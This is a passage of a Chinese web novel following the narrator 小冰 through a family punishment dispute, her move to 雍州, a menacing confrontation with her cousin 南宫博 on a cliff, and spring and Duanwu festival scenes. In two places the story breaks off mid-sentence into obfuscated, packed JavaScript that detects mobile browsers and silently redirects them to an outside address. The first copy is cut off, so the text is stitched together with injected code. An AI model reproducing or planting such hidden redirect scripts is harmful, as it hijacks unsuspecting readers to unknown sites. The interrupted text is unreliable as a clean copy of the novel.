“刚才,我已经向二叔认错了。”他脸上的掌印更清晰了,“这一切,都是我的错。” “姑奶奶,别生气了。是养猫的维护栏没有绑好,昨晚猫儿跑得到处都是。不知是谁恶作剧,作弄三妹妹的。都是我的错,没有好好检查院落各处。妹妹伤成这样,我难辞其咎。” 而绵水夫人在沉默与无奈之中,又细细看着侄孙脸上的伤,对叔父说:“你下手太重了。” 我和朱翼在小仓山做错任何事,都会受到相应惩罚。我对老师们有任何不敬之举,叔父会带着我亲自道歉;而尊贵如朱翼,撕坏了皇后的画像,也在祠堂里领受戒尺。我们从小就明白,做错了事就要付出代价。 可是他们却不用。这是南宫少全对于家族的失职,我望着他,尤其是对小船王。 我从胸膛呼出一口气,那是一记没有痕迹的叹气。 而叔父似乎听到了,他对绵水夫人说:“姑母,这件事交给我处理吧。如果国公爷还在,他会赞成我这么做的。” 那位遥远的镇国公对于这个家还有什么威慑力,我轻轻怀疑,而绵水夫人与我的目光再次相遇,她有些震动,或者说她挣扎了一下,然后答应了。 叔父说,小船王要挨竹杖五十下,然后去雍州戒律堂禁足一年。 娄夫人叫起来,她坚决不同意,一下子扑到绵水夫人的怀里。 而娄姣姣生怕相同的惩罚落到她身上,吓白了脸。 “我…我要去告诉父亲。”她说。 叔父又说:“明日初九,前桥阁开阁。我会禀告圣驾,博儿犯了家规,要随我回雍州去。” 娄夫人满脸泪水,斥责他的狠心。 我瞅着小船王,才让他在雍州禁闭一年,够不够洗刷他的恶毒心肠。 他规矩地朝叔父磕了头,低头不知在想什么。 “二叔,”他说,“侄儿甘愿受罚。只是,能不能延迟一月。” 我就知道,他不会坐以待毙。 “二叔,琼华宫的重建由侄儿制图,还需一月才可完成。那里是侄儿从小玩耍的地方,希望叔叔可以成全我的心意。” 果然击中叔父的软肋,我在他的沉默中提醒:“叔父,明日进宫问问陛下,是不是需要哥哥留在京都待命。” 这时,小船王在阴影中朝我咧嘴笑了一下,他旋即朝叔父说:“等为先皇后尽了孝,侄儿立刻回雍州领罚,一定让妹妹解气。” 这个说法招来娄姣姣的不满,毕竟我只是小月的婢女,凭什么让她的表哥受罚。 “姑奶奶,我也是南宫氏的女儿,你不会偏私吧。”我没有忘记这个表妹,今天她别想轻易走出镇国公府,“戒尺拿出来很久了。” 娄夫人连忙抓住老太太的臂膀。 “陛下知道小月在京都,所以明日请了三小姐和姣姣作陪,一起入宫赏琴。谁知昨日搞成这样,若是姣姣再受了伤,可是对中殿的大不敬。” 什么都把陛下抬出来,我吐着厌烦之气。 突然想起昨天她问我的话,小月和姣姣,谁更讨人喜欢些。 叔父是不会主动让女儿入宫的,那么,娄柱尘府邸为何起劲。 她不是和小船王… 小船王至多只是小船王了。这不是他痛苦的地方麽。 而娄姣姣可以攀山越岭,做手握乾坤的女人。 我带着奇特的心情重新审视屋内的人。如果不算朱翼的话,娄姣姣的确是京都内身份最贵重的女子。 这时,我的脑中好似夏日的闷雷裂开,滚滚作响。我握紧了双拳。 而绵水夫人有了决断:“戒尺等到明日之后再领,领完后去茅山谒陵,你的女儿若不诚心悔过,就不要回来。” 于是娄夫人惊天大哭,好像受不白之冤。娄姣姣则是跺脚耍赖,说她坚决不去茅山。 “那里偏僻,路程又远。那是老爷儿归魂的地方。” 原来是镇国公的陵墓,那真是个好地方。我聚起眼中的戾气。 正当绵水夫人示意我,她会对子孙一视同仁的时候,我崴着脚也扑去她怀里哭泣。 “姑奶奶,这不公平。我不服气。” 我能想象周围人的表情,在片刻的静默之后,我避开叔父的凝视,转而提示朱翼。朱翼心领神会,知道我不愿善罢甘休,就附和说道:“对啊,小冰差点命都没了,表姐挨两下戒尺就算抵过,这也太便宜她了。” 娄夫人大怒,瞪着叔父。 “兄长,我们一向守望相助,以和为贵。” 而我与她平行跪着,正好迎面她扭曲的目光。 娄姣姣想入宫为后,她想占据皇权的一席之地,她要居高临下对我们发号施令。我的每个毛孔都冒着刺。她的身后还有小船王,他俩的阴影在地上交叠在一起。我想象着娄姣姣坐在琼华宫里,她的表哥则阴恻恻地站在背后。如果娄姣姣做了皇后,那么小船王是不会把叔父放着眼里的。按照他的性格,雍州本家又会迎来灾难。 “姑母,昨日你说我不配叫你姑母,那话是怎么说来的?” 我浑身都冒着戾气,此时剑锋对准她的母亲。 “我的父亲是乌潭南宫氏第九代嫡传,母亲是勺馆吴幼禾。这样清不清楚,姑母?” 而她惊讶又愤怒地回答:“放肆。你们放肆。” 我就转向绵水夫人:“姑奶奶,昨日她们就是这样侮辱先父和先母的。我的父亲自然不比娄大人位高权重,而母亲也没有姑母那副恶毒心肠。可是作为女儿,今天要来讨个公道。” 娄夫人指着我的眼睛:“你胡说。”她同时觉察弥漫四周的寒意,又回头解释:“兄长,当时我不是这个意思。” 我心里冷笑,朱翼适时添油加醋:“姑母就是这个意思。我都听到啦。” 而那时,我都有些可怜绵水夫人了,在她这个年纪,本该享受儿孙满堂的其乐融融。 “姑奶奶,”我继续朝她说,“要是今天没人给我做主,明天我就入宫去。父亲可是为了保护乌潭,被婆娑人烧死的。陛下总有些恻隐之心吧。我为父亲讨个爵位,给母亲讨个封号。这样姑母就能记住了,以后她就不会不忍我了。” 于是娄夫人带着轻蔑,咯咯笑起来:“异想天开。” 叔父将我拉开一些距离,他怕我会动手打她。而我的确准备这么做,可是绵水夫人先动手了。她抡起一巴掌,毫不含糊地扇在侄女脸上。 “鼠目之光。”她的下巴气得抖起来。 大厅重新安静了,原来天色已近黄昏,每个人都很累。娄姣姣扶着母亲坐在地上,睁大娇媚的眼睛,傻愣愣地望着周遭的一切。 在黄昏微弱的日光中,绵水夫人重新获取了勇气。她早知道自己的至亲是这种货色,她早该伸出手干预。可她没有理她们,却对我说:“小姑娘,你想怎么样?” 行军打仗,总要在千钧一发中分析问题的症结,而这位老太太没有忘记。 我摆脱叔父的双臂,又重新到她面前。 “既然哥哥要在雍州禁足一年,那请表姐也去茅山思过一年。这样不算过分吧。表姐至我于生死困境,而她的母亲又侮辱我的双亲。” 娄姣姣拧着眉头,她措手不及,连忙呼喊她的母亲。其实在千头万绪之下,她们并不知晓我的用意。 绵水夫人也有些意外,不过去茅山思过是符合她心意的,这点我能捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说:“我已经处置了阿博,而女眷的事,由绵水夫人做主。”其实他也是困惑的,不过,他从不在众人面前驳斥我的任何说法,对我和对朱翼都一样。 长丰应该在几天前就邀请了朱翼吧,他没有啃声。长丰又通过娄柱尘府邸,再次邀请,后者当然忙不迭答应了。 等到把娄姣姣赶走,我要好好与他谈一次。 “小辣椒,脑袋瓜里又在捣鼓什么?”绵水夫人给我起了新名字,“你气性儿那么大,非要把得罪你的人,赶到千里之外才罢休麽?” 这时朱翼看出了父亲的疲惫,她并不关心她表姐的命运,不过她暗示我适可而止。 “姑奶奶,她气性儿一直就大,可怕得紧。”她怂恿着绵水夫人,想尽快结束闹剧,“就随她的意吧。表姐离得远,反而太平呢。再说也就一年的时间。” 于是姑奶奶松动了,又问了问叔父的意见。叔父说,茅山凝聚着天地之正气,是个思过的好地方。 在那对母女的惊愕目光中,他又说:“我会亲自写信给娄大人,不让姑母为难。” 不知道娄柱尘收到信后会是什么表情,可是我不在乎。 接下来那对母女如何哭诉耍赖,绵水夫人如何疾言厉色,我都没有在意。她们回去了。 当叔父重新坐到我面前的时候,我觉得他有点心疼,也有点老态。 “我怕下手太重了。”他喃喃自语。 我让他振作起来,把盘旋于心中的忧虑说给他听。他有些惊讶,惊讶我为何会想这些问题。 “小冰,你多虑了。”他有些不可置信,不知如何反应我的忧虑,“首先,陛下是不会喜欢娄府千金的。” “这怎么可能呢…”他说。 “怎么不可能?”我心急地反驳,“这和喜不喜欢有什么关系。娄柱尘在前桥阁侍上御下,他很得陛下的依仗。” 难道你看不出来麽。 “既然如此,娶一位贵臣之女是理所当然的。” 叔父沉吟半晌。“如果真是这样…” 我接口:“如果真是这样,小船王凭借与娄府的关联,他一定会报复你。” 叔父觉得这一结论扯得太远。他根本不相信长丰会娶娄姣姣。至于南宫博,即使他与我都能窥见他的恶意,可他本着纯良的天性,拒绝报复之类的想法。 我停顿一下,再说:“好吧,我们不讨论陛下会立谁为后。可是小船王恨你,你清楚吧。” 我想告诉他,并不是人人同他一样,生了一副晶莹剔透的心肠。 “他恨你,也恨我。”我身上的伤就是证明,“也许还恨小月。如果将来他有机会,他得到了一个机会,他一定会对我们不利。” 叔父知道他恨他,他没有反驳这个说法。 “我已经决定,要把阿博带回雍州禁锢。从前是我的疏忽,既然他恨我,就让他在雍州一直恨我吧。” 他用手指松了松眉眼。而我有点不忍心继续说下去。 “我早上说的话,你还记得麽,”我摇了摇他的手臂,决定不能放松,“我们要把属于自己的东西,牢牢握在手里。” “小冰,京都改变了你很多想法。”他在微凉的暮色中,朝我微笑,“我们要握住什么东西?” “握住手中的权力。”我想到那块在石洞中倒扣而置的石碑,它是危险的,它像熊熊烈火,狰狞地燃烧,围堵在我们四周。可它也在保护我们,因为没有人可以越过火焰。几个月前,我还幼稚地想销毁它。 “这是先祖留下的东西,我们要牢牢握住它。只有这样,你才能保护自己,保护身边的人。” 他没有说话。而我,把他当作比父亲更亲的人,才倾心相告。 “也许陛下不会娶娄姣姣,可他会娶其他人。到时候,南宫世家只会与中殿越行越远。”我说,“叔父有没有想过,如果没有你和陛下师兄弟的关系,即使昨天我死了,你也没有申诉的权力。因为娄柱尘,他是前桥阁的住持人。” “或善或恶,你只有拿到了说话的权力,才能有争取公平的机会。” “小冰,”因为我几乎要从榻上爬起来了,而他摁住我,也安抚我的激动,“你吓坏了,现在才会如此偏激。” “我穷尽心力,就是为了让你们远离纷争,”他又说,“我不觉得那样做错了,你没体会过身不由己的滋味。而且,如今雍州并未势弱,我也有能力保护小月和你。” “那么将来呢?我们把皇后的宝座让出后,无论谁接过它,你有没有想过后果,”我知道他是想过的,可是他却回避了。 到时候,你觉得你能握住雍州的家,依然保护我们麽。 “既然男子不能为官,那女子…”我希望他能明白,我是很爱小月的,“叔父,有些东西我们不能放弃,要让小月明白这点。” “不…”他还是拒绝。 “我会陪她一起去,我会保护她的。” “不。”他拒绝得更干脆,这时他仿佛找回了自己的意志,“你们应该有自己的人生。我不会让相同的事,再发生一遍。” 我明白他说的是什么。他深爱的人得不到幸福,而他无能为力。终其一生,他都不能释怀。他不会再让小月去涉险了。而南宫云罗,是他一生的桎梏。 17. 南宫世家(十一) 因为我担忧着初九开阁,而自己不能进宫,火气上顶天灵盖,人也没有休息好,所以又苍白又憔悴。井生跑进镇国府的时候,肯定觉得我时日不多了。 他把尤七老爷也带来了,尤七则研究起我身上脸上的抓痕,然后断言京都的药不好使,一定要换成他的药。 “会留疤麽?”这是我最关心的。 尤七老爷从不给明确的答案。 “说不准哦。”他见我脸色很差,又说,“不过现在你要的是安神汤,吃了好好睡一觉。” 井生则说:“有疤也不算什么,我身上也有疤呢。” 我一肚子气,闷声喝了汤药,而井生一直在抱怨,他说他应该和我们一起来京都的,老爷非让他去雍州,管行李装卸的事。 “都是因为我不在,你才受伤的。” 这是后来他常常说的话,而我很快睡着了。 梦中居然又看到了疾风号,从朦胧的远处驶来,那是一座姿态很优美的楼船,小船王站在船头,他身旁的人长得真像我。他脸上有种莫名的哀伤,而我居然发觉双手都是血。没错,我杀了那么多猫,可是定睛一瞧,堆积在脚下的根本不是猫,而站在船头的那个人也不是我。突然小船王举起了一件刺目的东西,而疾风号则以很快的速度从我的瞳孔中远离。这艘船真是制造精良,线条优美,那样的姿态恍惚在哪里见过。 实在太刺眼了,我流了眼泪,等我再次睁开眼,镇国公府已到黄昏。叔父望着我,问道:“你怎么哭了?” 我看到瓶中一束新剪的腊梅,精神好很多,四下张望:“你们回来了。小月呢?” 原来井生带来很多换洗衣服,朱翼正把那些旧的拆开,好让我穿得舒服点。 “其实我挺好的,伤口也结疤了。”我撩起袖子给他瞧。 “你在发烧呢。”叔父摸着我的额头。 我真的感觉好多了,也许是熟悉的气息围绕在周边。叔父与尤七仔细讨论我的病情,而朱翼则凑在我身旁,讲起娄姣姣的坏话。真是个傻姑娘,语无伦次的,自己还咯咯直笑。 “表姐一直给我脸色看,惹得阿志姑姑也尴尬了。我就把这几天的事告诉阿志了,连罚她去茅山的事也说了。”她的表情挺得瑟的,“她活该。听说国公爷的魂魄一直在山上飘,这下子保准吓死她。” 让内宫女官知道倒是意料之外,而且阿志是长丰的心腹,让她知道就是让天子知道。看来我给弄得遍体鳞伤,还是有价值的。如果不是我对朱翼有深刻的了解,我几乎会怀疑她是故意的。 “那么小船王呢?他跟我们去雍州麽?”我更关心这个。 朱翼摇摇头,说她不知道。 “不过陛下一直在夸他呢,说他鬼斧之才,又说我们南宫世家后继有人。” 她一直维持着得瑟的样子。其实朱翼对这位兄长并没有恶感,也许年少不知事的时候,他是她仅有的哥哥。后来父亲冷落他,而我排斥他,她才对他敬而远之。 我顺着她的心情,又问了琼华宫的重建进程。屋里很温暖,嫣红的腊梅点缀在各个角落,没过几天,我就能行动自如了。而我在年少时就盼望踏足的雍州,一直在等待我的到来。 临行的前几天,叔父把卞怀东领到我的面前。那时我正和绵水夫人单独在一起,他特地选了这个时间,让我和卞怀东认识。 绵水夫人拍了下我的脑袋:“描几个字,也能描成鬼画符。” 我的两只手还缠着纱布呢,怎么握笔。绵水夫人是故意折腾我。 “几天前的逞能劲去哪了?”她睇一眼她的孙儿,“东儿,这可是个小辣椒,你要小心。” 而叔父一脸慈父的表情,分明在说吾家有女初长成。我瞬间明白了,他挑了我最丑的日子,想把我嫁给那个傻小子。 我捂着脸,不敢看人家。 绵水夫人打掉我的手,好像在说,难道我的孙儿还配不上你。 她的孙儿朝我作揖,他居然叫我小冰妹妹。 于是叔父鼓励我,让我叫他怀东哥哥。要不是这时朱翼跑进来,我真的要发火了。 他竟然要把我嫁到镇国公府,而绵水夫人也没有异议。我惊讶极了。 “女大当嫁。”在去雍州的路上,他理所当然地说。 那还有小月呢。 “小月的事,我再做打算。” 当然,朱翼不适合在当下谈论嫁娶,所以他要先安置我。那晚我与他的谈话后,他竟然开始筹谋要嫁掉我。 “别多想,”他在马车里眯着眼睛,“很早之前我就操心你们两个的事了。怀东是个好孩子,不过我不会强迫你。” 而朱翼嘟着嘴,一路上都不高兴。 “小月,”她的父亲摸着她毛茸茸的头发,“小冰做姑奶奶的孙媳妇,你不同意麽?” “不要,”她别开头,气呼呼的,“阿爹做这些安排,从来不问我的意见。” 她也有意见,她有一股所有物被人染指的气愤。我不想搭理这对父女,去雍州的旅程太心塞了。 其实雍州与京都在地图上很近,只不过隔了一道海峡。那道海峡在地图中呈狭长又逶迤的弧型,它后来有个名字,叫满月峡。那是我第一次看见满月峡,凛冬的阳光很温暖,大海的表面像铺了细碎的金沙。我们坐在官船上,邻座还有几个西凉商人。我在分析他们叽里咕噜的语言,回头想拉上朱翼,她一头栽在叔父怀里,晕船了。井生与卞怀东很熟悉的样子,他俩坐在船尾,与几个掌舵的船员搭讪,研究起海峡四面的通勤地理。 我一直记得那天在海面上航行的画面,其实那是出行最坏的季节,而海上的大半日是枯草乏味的,可是每当寂寞的时候,我就会想起蔚蓝空中飞过的大雁,和海中金黄的落日,我的亲人和我的朋友,他们都在我身边。即使过了很久,那份幸福与安宁还是在心中永存。 如果以为雍州会效仿京都的繁华与绮丽,那就大失所望了。而汉章院也不是一座占地几亩的书院,它本身依城而建,授课所和藏书楼遍布大街小巷。城内有许多老槐树,这些树有好多年了吧,幸而它们没有被战乱所扰,毫无节制地粗枝纵生,遮挡着青瓦白墙。我见到的房舍大都差不多的样子,偶尔在青石板路旁有间小酒馆,檐口下挑一面藏蓝布,写着酒字。 本家的宅子是新建的,也是一色青瓦白墙,老宅地处城的最南边,与这里的氛围很契合。 怀东说:“新建的部分都是按照烧毁前的样子,整个布局也同以前一样。楼屋的修饰我是听从阿博的意见,他擅于工匠,又在这里住得久。” 叔父点点头。 “阿博分身不暇,这里多亏你的监工。这些月来,幸苦你们了。” 庭院外还有未完工的几处沟渠,都用路障围了起来,几个工人看见井生和怀东,都纷纷上来围住他们说话。卞怀东有一口特别白的大牙,即使微笑也让人感觉灿烂。那些工人们问了很多建造庭院的琐事,他立在人群中回答,手上还配合讲解做动作,表情怪生动的;井生则附和着训人,大体是骂他们又懒做工又慢。 不过他俩没什么威严,那些工人又起哄起来。卞怀东依然立在中间左右应对,井生则跑过来让我们先进屋。 “小姐们在这里不合适,你们先进去吧。” 叔父有趣地看着远方。 “看来怀东变成这里的工头了。” 我的伤还未好,自顾自往里走;朱翼则跑到人堆里,她在船上睡了半天,现在当然有精神添乱了。叔父想喊她回来,她根本不听,幸好怀东是个大个子,无论那些工人怎么闹,他都把她挡在身后。 叔父带我去了祠堂。祠堂门口有株大约四人才能环抱的老槐树,蓬勃的枝蔓简直遮天盖日,仿佛故意挡住时光的流逝,而砖瓦石墙虽然是新的,可我总觉得这里的一切是亘古就有的东西。 南宫冒是八代族长,他的牌位就在我面前。不知道为什么,在我踏上雍州的那一刻,心情总是无名低落。这个祠堂里供奉的先辈们,他们怀揣家族荣誉,秉承家族誓言,守护着子孙后代。他们心中是否有过忐忑,他们对于得到和失去的,是否心甘情愿。而我面前的这位祖父,他的头颅曾被挂在这里,他活生生地被献祭了。我吸了口气,荣誉都是用牺牲换来的。 “叔父,你在哭麽?”我明知故问。 他否认了,连眼泪也不愿示人,尽管此刻只有我和他。 “父亲,这就是小冰,”他说,目视前方,“她和小月都是我的女儿,也是家族的未来。希望您在天上能保佑她们。” 他让我再次磕头,我立刻照办了。 “老爷子,我叫小冰,您可要记住我。”我用了与此处氛围不协调的声音,清脆响亮,“虽然我从挺远的地方来,可我和小月一样讨人喜欢。您可要看清楚我,不要忘记我啊。” 叔父回过头,撵我出去了。他要和他的父亲独处一会儿,而我在门外等他。 他说小月和我是家族的未来,这是什么意思。我把手放在树干上,摸到坚实的树皮。那天在石洞里,在那个隐秘的洞穴里,他把家族起始的故事也告诉我了。他还说过,这个故事,是传承给家族继承人的。比如他的父亲,就告诉了他和他的妹妹。我并未细想过这件事的涵义,他把我当作继承人有点不合常理,我毕竟来自很远的旁系,而且又是个女孩。 当我仰望着这棵参天大树,猜想究竟是什么让它屹立百年,叔父从祠堂出来了。 “小冰,你觉得血缘对一个人有什么影响?”在我困惑的时候,他又问了更深奥的问题,“比如娄夫人是我的堂妹,可她一直嫉妒云罗,与我更不投契。而绵水夫人是南宫氏收养的,与我们本没有血缘关系,可她却是最疼爱晚辈的姑母。所以,你觉得血缘究竟能决定什么?” 我张大嘴,一时回答不上来。 “想不到吧。我的祖父曾在北方募集羚羊,在草原上收养了一个女孩。他把她带回家,同他的孩子们一起长大。女孩性情豪爽,嫁给军旅之人,年轻时同丈夫南征北战。后来先帝赐了镇国公的爵位给她的丈夫,而她自己则要了绵水夫人这个封号,因为祖父是在绵水捡到她的,那里就是她的故乡。她从不吝啬告诉世人,自己不是南宫家的血脉,可她是我和云罗的姑妈,是父亲的妹妹,是你们所有小辈的姑奶奶;她是镇国公的遗孀,是戎衣会的会首,是京都女眷仰望和依赖的人。” 祠堂内的檀香飘了出来,叔父对我笑道:“不要让那些浅薄之见,影响到你的心。” 那么,他真是这么想的,让我和朱翼一样,传承南宫世家的荣誉与职责。槐树吸收着天地之光与自然之气,它健硕地成长,从不拘泥树种来自何方。而且,家族前辈也从未说过,继承人一定要是男子。 小船王是在第二年春风吹过的时候才登岸的。他的延期是因为琼华宫的建造少不了他,而陛下又把行宫内的一些琐事交给他。在他愿意讨人喜欢的时候,他总是讨人喜欢的。 向雍州城南再走一百里左右,能看到一片挺美的悬崖,天气暖和了以后,延绵的崖壁都绿茵茵的。而且那片悬崖并不陡峭,很容易爬到最高处,到了最高处就能远眺春日的海平面,还有海鸟和渔船偶尔经过。那天我看到东面的海港停了一艘官船,第二天就在芦苇丛里遇见了南宫博。他说他很喜欢这片悬崖,想在受罚之前再来看看。 我是一个人骑马溜出来的,所以有些警觉。而他朝我伸出手,一定要去高地上看看。 “妹妹别担心,无浪跟着我们。”他指一指后面,果然那个无厘头的右无浪在朝我挥手。 他叠起眼角笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181316|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向我表明他的无害,其实遇到我也是他意料之外的事,那天他的情绪并不高昂。 “雍州总让我觉得寂寞。” 在爬上最高处后,他一直凝望海面。过了很久又问我:“你喜欢这里麽?妹妹。” 我点点头,他却不相信地笑了。 “我喜欢京都,那里粗俗,生机勃勃,人们都充满了欲望。”他目光聚拢,饶有趣味地说着,“陛下对琼华宫的要求可高了,可我都能令他满意,他非常高兴,就把西面行宫全部交付给我整修,好满足我的虚荣心。这样一来一回,不是很有趣麽?” 我不知道他想说什么。 “如果雄鹰有了翱翔的翅膀,你却要它固守在城堡,不是很残忍麽?” 这时海平面上飞来一排大雁,仿佛要应和他的说辞,在一望无际的大海与天空中徘徊。 “妹妹,你会折断雄鹰的翅膀麽?为了一个几百年前的承诺。” 大雁居然把海风带来了,我猛地回头望着他,这时他把注意力从虚无的雄鹰上转开了。 “妹妹,你再往后退,就掉下去了。”他突然伸手,将我拉近他,并且使劲扣住我的手腕。 右无浪呢?那个傻子跑到哪里去了。 “妹妹,你看远处那艘船,像不像疾风号?”他还是握住我的手腕。 我生气了,一点都不像,快放开我。 “的确不像,比起琼华宫,我在疾风号上花了更多心血。”他居然装模做样研究起我的手,然后把拇指按在我的脉搏上,“你知道麽,疾风号原来还有一个名字。” 他想说什么。 “原来它叫金雀号。” 我不再像只青蛙,被他扣住了两肢,另外两肢乱蹦乱跳了。 他是怎么知道的,我满脑子都是这个问题。我大口吸着气,稳定自己的心跳。而他把我拉得太近了,顺势都能揪着我后脑的头发。 “真是我的好妹妹。”他微笑着说。 我打掉他的手。 “谁告诉你金雀号这个名字的?” “哦…”他佯装认真地回答,“造船那会儿,我老是梦到一只金色的鸟儿,所以想了这个名字。” 胡扯。难道他的父亲,船王南宫笠也知道那个故事;这也不奇怪,算起来他是叔父的兄长。 “别乱猜了。”他知道我在想什么,“家父是个粗人,从来都不是家族认可的继承人。” 我那时愣了一下,看他郁郁索然的表情,难道非要成为继承人才有存在的意义。这个人太偏激了。 “妹妹,你抢走了我的东西。”他的手劲越发大,海风呼啸作响,我的头发都绞在他手指上了。“所以,我偶尔一时愤恨,会伤害妹妹。你都要原谅我,这是你该得的。” 我瞅准时机,朝他膝盖一脚踢去,这下他终于放手了。我拔出腰间的小刀。 “你再动手动脚,就是那些猫的下场。”我头发都散了,呲牙咧嘴,估计模样够骇人的。 果然他一脸嫌弃。 “你这么泼辣,卞怀东可不喜欢这样的。” 管你什么事,我独自往回走。喘着大气,心跳得更快了。他说我抢了他的东西,反正他知道的也不少。他有什么损失呢?他想做族长麽,他又不喜欢雍州。 “哥哥,你会保密吧?”我突然有种预感,大海深处总有不可捉摸的危险,“不要把金雀号这个名字,随便告诉别人。” 有关它的一切,应该永远埋葬在海底。 而小船王耸耸肩,轻松回答:“那是当然,该知道的人自然会知道。” 这时右无浪去牵马了,我们等在平地上的芦苇丛里。平地不像高坡上那么寒气冻人,我要重新捋捋思绪。 “妹妹,你觉得那桩几百年前的契约还有用麽?” “什么契约,我不知道。” 他一点不在乎我的否认,在四面无人的雍州地界,他与身处京都的心情是两样的。 “如果我身处陛下的位置,会把所有威胁到宝座的人,全部杀掉。” 我两手抱胸,不准备回应他。他这么评论长丰并没有错,我想起在那间逼仄的小屋内,长丰举刀挥手的动作,根本没有犹豫。而那块石碑是真正威胁到他的东西,它可以让他的王冠随时落下。如果他有一天知道,他的师兄手握这么一面石碑… 和小船王谈话总让我紧张,他随时让你感觉身处风暴的中心。 “妹妹,我们在契约下谨小慎微过了几百年,可是人心是很脆弱的,南宫世家不会一直走运。我们身上流着金雀王朝的血液,可不能这么窝囊。” “哥哥,你要是再提金雀或者契约,就别想从雍州的戒律所出去了。”我警告着他,瞬间与他拉开距离。 而他又叠起眼角,令人毛骨悚然地笑道:“妹妹越来越有当家人的气派了。” “哎,我本来以为妹妹是同路人,可以和你多谈谈家族的兴衰史呢。”他爬上马,居高临下望着我,“既然不同路,只有自求多福了。妹妹,你别忘了,你抢走我的东西,所以,我有欺负你的权力。” 右无浪居然没有找到我的马,我指挥他再去找,而南宫博扬长而去。等我回到家,戒律所已经在行刑了。右无浪哭得很凄惨,好像被打的是他。 “不知道少爷说了什么,老爷又加了二十棍。”他委屈地说。 为什么小船王会知道所有的事情,而且听他的语气,他很早就知道了,他已经反复思量很久了。如果在悬崖边我只是惊讶的话,那么一路回到家后,只剩下后怕了。长丰如果知道石碑的存在,他会怎么做。而叔父和他父亲不同,他维持不了那种微妙的平衡。虽然我被小仓山浸淫多年,可是人心是脆弱的,这点我始终相信。有那么一瞬间,我几乎希望小船王永远关在戒律所里。 18. 南宫世家(十二) 雍州的春天很漫长,而汉章院的春天都花在春耕上。城西有一大片耕地,整个春天我都扎好裤脚,弯腰下蹲,脸都贴到土上了。 春耕的头一天,大家敲锣打鼓热闹了一番。叔父头戴斗笠,一手扶着犁,而小黄牛在前方结实地拉扯了几步,等黑褐色的土壤翻拨几下,朱翼似模似样地撒下一把种子。叔父见围观的人意犹未尽,还想赶着小牛往前走几步,哪知小黄牛不愿动了,直到他笨拙地扬了一鞭,那牛才还魂似地尽忠职守。于是在一道开垦的土地上,朱翼和我,还有怀东,人手一把五谷种子,在潮湿的春日,和着雨水撒入土里。 如果头一天的典仪还算唯美的开始,那接下来便是重复单调的苦差事。我哭丧着脸,当家人便说:“没法子了,人手不够。”可是我也帮不上什么忙,所以常常溜走。那天在悬崖边遇见了小船王,回来后我的红疹又复发了,于是春耕的事才轮不到我。 与我的静默相比,朱翼宛如抖擞的迎春花。洗去春日的雨水,她又在温热的仲夏如热烈的纸鸢飞翔。如果说我的冷静与自持随着年龄的增长有增无减,那么朱翼则朝着反方向进行。不过她的热情并不是毫无节制的,她是温柔的,并且带着不可抗拒的魅力。比如我在签账单的时候,会责怪她的花销太过,她就会指着清单,一件件数给我听。 “当然要买这么多了。到了端阳节,我们要亲自去派粽子的。到时候你和我一起去,省得他们老在背后说你。”她拧起我的两颊,“让大家都看看,我的小冰多可爱。不过你要多笑笑,你瞪起人来可凶了。” 我可不会假笑去讨好人,温柔可爱的女主人还是你去扮演吧。不过雍州的生计并不宽裕,耕地荒芜了大半,人口也迁走了许多,而前桥阁允诺的重建恩赏怕是来不了了。我想让她明白潜在的危机,可是那样的话却说不出口。 不过有些事我必须要提醒她。 “小月,怀东的纸鸢是送给我的。你怎么能抢呢?” 而她不当回事的神情让我有点意外,她说只是拿来描描花样。她把纸鸢还给我,我没觉得有多少不同。 “小月,你不高兴麽?”我仔细看着她,我与她从小一起长大,有些感觉是非常敏锐的。 而她摇摇头。她企图隐瞒她的心情,这让我有点沮丧。 到了端午正日,天气简直和盛夏一样热了,烧起来的苍术有点呛人,粽子都蒸得油腻腻的,让人看得一点食欲都没有。西面的操场装饰了很多彩带和花球,几个农户带着孩子在玩独木舟。我和朱翼则在操场中间派粽子,我们身后有个很大的蒸锅,热腾腾地冒着气,井生和右无浪在热气里帮忙,两个人都心不在焉,望着远处的射靶,派粽子的活的确不适合他们。 “哟,东少爷的箭法真准。”右无浪的两只眼睛骨碌碌的,毫不掩饰地流连远方。 朱翼无奈说道:“你们过去玩吧。” 那两人都没推却一下,嗖地飞奔几尺远。我可生气了,那就把卞怀东换过来。卞怀东派粽子挺好的,把大嘴一咧,憨态可掬,人人见着他都高兴。 “我帮祖母派过粽子,还派过米和油,放心,很快弄好了。”他长手长脚,把我和朱翼挤到一边,自己埋头苦干。我喝着凉茶,我也想去玩射柳。 “怀东哥哥,射击是跟谁学的?”我试图和他聊天,算起来他是我未来的夫婿,可我们的对话从来只限于怀东哥哥和小冰妹妹,接着两个人只能对视傻笑。 “祖母请的师傅教的,我也去过西北大营,在那里学到不少东西。” “那你的父亲呢?”我好奇问道。 他愣了一下,随后说:“小冰妹妹,我的父亲离开家很久了。他有个外号是独眼燕公子,以后你会知道的。” 听起来像个江湖术士,不过面前的少年有坦诚的眼睛,他是在一帆风顺的环境下长大的,他对自己很自信,他的眼睛里只有明亮的东西。 “我再去拿点凉茶来。”他分好粽子,把两条桌子都挪到树下,“你们去树荫下休息一会儿吧。” 树荫下并没有凉快多少,朱翼拿着薄荷叶摇摆,见我瞅着她,就问:“你想说什么?” 我没啃声,没一会怀东回来了,把凉茶分给我和朱翼。朱翼还摇着薄荷叶,手腕上缠绕茉莉花,独特的气息冉冉而落。 “怀东哥哥,”我笑道,“你送的纸鸢是自己扎的麽?小月可喜欢了。” 而少年有些疑惑。 “纸鸢…那是我们捡的。后来无处可放,无浪就说送给小姐们玩。” 原来是这样,我差点笑出来,我还以为是专程送给我的。 “原来小月妹妹喜欢这个玩意。”少年端起认真的表情。 “我不喜欢这个。”朱翼咬着薄荷叶,睁大盈盈的杏眼。 